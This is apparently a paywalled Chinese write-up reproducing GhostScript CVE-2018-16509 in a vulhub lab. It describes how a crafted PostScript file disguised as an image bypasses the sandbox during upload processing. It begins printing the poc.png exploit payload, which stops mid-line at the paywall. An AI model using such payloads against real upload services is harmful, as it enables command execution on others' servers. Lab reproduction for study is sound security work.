漏洞概述
①漏洞简介
8 月 21 号,Tavis Ormandy 通过公开邮件列表,再次指出 GhostScript 的安全沙箱可以被绕过,通过构造恶意的图片内容,将可以造成命令执行、文件读取、文件删除等漏洞。
②GhostScript
GhostScript 是一套建基于Adobe、PostScript及可移植文档格式(PDF)的页面描述语言等而编译成的免费软件。Ghostscript 可以查看及打印 PS、EPS、PDF 文件,GhostScript 被许多图片处理库所使用。
③漏洞影响
在文件上传过程中,有可能会用GhostScript来处理图片,可以伪装图片利用GhostScript执行命令。
漏洞复现
①环境搭建
使用docker启动ghostscript_CVE-2018-16509环境
root@kali:/home/zj/桌面/vulhub/ghostscript/CVE-2018-16509# docker-compose up -d
服务启动后,访问http://172.17.0.1:8080,可看见文件上传按钮。
②浏览poc.png,并提交查询
poc.png
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /Ou

本文介绍了GhostScript的一个安全漏洞,该漏洞允许攻击者通过构造恶意的图片内容绕过安全沙箱,导致命令执行、文件读取和删除。攻击者在文件上传过程中利用GhostScript处理图片时可触发此漏洞。修复方案包括限制GhostScript的某些代码解析权限。
最低0.47元/天 解锁文章
1014





